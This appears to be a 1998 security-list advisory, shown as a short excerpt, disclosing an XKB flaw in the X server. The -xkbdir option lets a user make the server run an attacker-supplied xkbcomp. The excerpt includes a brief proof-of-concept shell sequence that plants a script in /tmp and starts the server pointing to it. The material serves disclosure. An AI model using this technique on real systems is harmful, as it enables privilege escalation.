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serious security problem in XKB
1998 Feb 03
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serious security problem in XKB
...user supplied instance of xkbcomp is invoked -xkbdir argument is used to build the path to the compiler $ cat > /tmp/xkbcomp #!/bin/sh id > /tmp/I_WAS_HERE [ctrl+d] $ chmod a+x /tmp/xkbcomp $ Xserver -xkbdir /tmp [X server executes /tmp/xkbcomp] Further reading: xc/programs/Xserver/xkb/xkbInit.c xc/programs/Xserver/xkb/ddxLoad.c xc/programs/Xserver/xkb/ddxList.c --Pavel Kankovsky aka Peak [ Boycott Microsoft -- http://www.vcnet.com/bms ]